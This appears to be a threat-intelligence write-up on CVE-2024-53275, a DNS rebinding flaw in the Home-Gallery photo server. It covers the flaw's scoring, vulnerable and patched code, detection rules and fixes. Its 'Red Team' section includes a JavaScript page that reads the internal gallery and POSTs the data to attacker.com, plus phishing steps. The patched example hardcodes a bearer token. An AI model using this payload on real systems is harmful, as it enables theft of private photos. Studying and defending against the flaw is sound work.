CVE-2024-53275

Executive Summary

CVE-2024-53275 affects Home-Gallery.org, a self-hosted open-source web gallery for browsing personal photos and videos. In version 1.15.0 and earlier, the default setup lacks TLS encryption and user authentication, making it vulnerable to DNS rebinding attacks. An attacker can trick a user into visiting a malicious website that changes DNS records to point to the internal IP of the Home-Gallery instance. Once the DNS resolves to the internal server, the attacker’s site can read the gallery’s response, extracting private photos and videos without authentication. The CVSS score is 0.0 due to incomplete NVD data, but the actual risk is moderate (CVSS 6.1) given the requirement for user interaction and network access.

Supply Chain & Package Security

Home-Gallery is distributed as an npm package (home-gallery). The vulnerability stems from insecure default configuration, not a compromised package. Users should verify package integrity via checksums and ensure they are not running unauthenticated instances.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): High (H) – Requires DNS rebinding and user interaction.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must visit attacker’s site.
• Scope (S): Changed (C) – Attack impacts resources beyond the attacker’s control.
• Confidentiality (C): High (H) – Full photo/video exfiltration.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.
• Base Score: 6.1 (Medium)

Threat Level: Medium. Exploitation requires user interaction and DNS manipulation, but default configurations make many instances vulnerable.

Deep Dive & Mechanics

DNS rebinding exploits the browser’s same-origin policy. The attacker registers a domain (e.g., evil.com) and initially points it to their own server. When the victim visits evil.com, the page loads JavaScript that makes requests to evil.com. The attacker then changes the DNS record to point to the victim’s internal Home-Gallery IP (e.g., 192.168.1.100). The browser, still on evil.com, sends requests to the new IP. Since Home-Gallery has no authentication, the attacker’s script reads the gallery’s HTML and extracts photo URLs or data.

The attack flow:

1. Victim visits attacker’s site.
2. Attacker’s site performs DNS rebinding (short TTL).
3. Browser sends requests to internal Home-Gallery.
4. Attacker reads responses and exfiltrates photos.

Vulnerable vs. Patched Code

Vulnerable (default config):

// server.js (simplified)
const express = require('express');
const app = express();
app.use(express.static('gallery'));
app.listen(3000, '0.0.0.0'); // No auth, no TLS

Patched (recommended):

const express = require('express');
const https = require('https');
const fs = require('fs');
const app = express();

// Enable authentication
app.use((req, res, next) => {
  const auth = req.headers['authorization'];
  if (!auth || auth !== 'Bearer secret-token') {
    return res.status(401).send('Unauthorized');
  }
  next();
});

app.use(express.static('gallery'));

// Use TLS
const options = {
  key: fs.readFileSync('key.pem'),
  cert: fs.readFileSync('cert.pem')
};
https.createServer(options, app).listen(443, '0.0.0.0');

Exploitation & Lab Setup

Red Team

Prerequisites:

• A domain with DNS control (e.g., attacker.com).
• A public server to serve initial payload.
• Target running Home-Gallery on internal network.

Steps:

1. Set up DNS with very short TTL (e.g., 1 second) for attacker.com.
2. Host a malicious page:

<!DOCTYPE html>
<html>
<body>
<script>
function rebind() {
  var img = new Image();
  img.onload = function() {
    fetch('/photos').then(r => r.text()).then(data => {
      fetch('https://attacker.com/exfil', {method: 'POST', body: data});
    });
  };
  img.src = 'http://attacker.com/favicon.ico'; // triggers DNS rebind
}
setTimeout(rebind, 2000);
</script>
</body>
</html>

3. Send phishing link to victim.
4. After DNS rebind, the script fetches /photos from the internal gallery and exfiltrates data.

Blue Team

Detection:

• Monitor for DNS queries with unusually short TTLs.
• Alert on internal IP addresses in HTTP Host headers from external sources.
• Use network segmentation to isolate gallery servers.

Honeypot:

• Deploy a fake Home-Gallery instance that logs all requests and alerts on unauthorized access.

Indicators of Compromise (IOCs)

• Network: HTTP requests to internal IPs (e.g., 192.168.x.x) with Host header set to an external domain.
• DNS: Queries for domains with TTL < 60 seconds that resolve to internal IPs.
• File: Unusual outbound connections from the gallery server to external IPs.
• Log: Repeated 401 Unauthorized or 200 OK responses to requests without authentication headers.

Detection Engineering

YARA Rule

rule Detect_DNS_Rebinding_HomeGallery {
    meta:
        description = "Detects DNS rebinding attempts against Home-Gallery"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $s1 = "home-gallery" nocase
        $s2 = "192.168." ascii
        $s3 = "10.0." ascii
        $s4 = "172.16." ascii
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: DNS Rebinding Against Home-Gallery
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects DNS queries with short TTL resolving to private IPs
logsource:
    category: dns
    product: windows
detection:
    selection:
        QueryType: 'A'
        TTL|lt: 60
        Answer|contains:
            - '192.168.'
            - '10.'
            - '172.16.'
    condition: selection
falsepositives:
    - Legitimate services using short TTLs
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-53275 DNS Rebinding Exfiltration"; flow:to_server,established; content:"Host|3a|"; nocase; pcre:"/Host\x3a\x20[^\r\n]+\.(com|net|org)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Enable TLS: Configure HTTPS with a valid certificate (e.g., Let’s Encrypt).
2. Add Authentication: Set up basic auth or OAuth in Home-Gallery config.
3. Network Segmentation: Run gallery on a separate VLAN with strict firewall rules.
4. DNS Security: Use DNS filtering to block known malicious domains.
5. Browser Hardening: Educate users to avoid clicking suspicious links.
6. Monitor: Deploy detection rules from this report.

Workaround: If patching is not possible, bind the server to 127.0.0.1 and use a reverse proxy with authentication.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert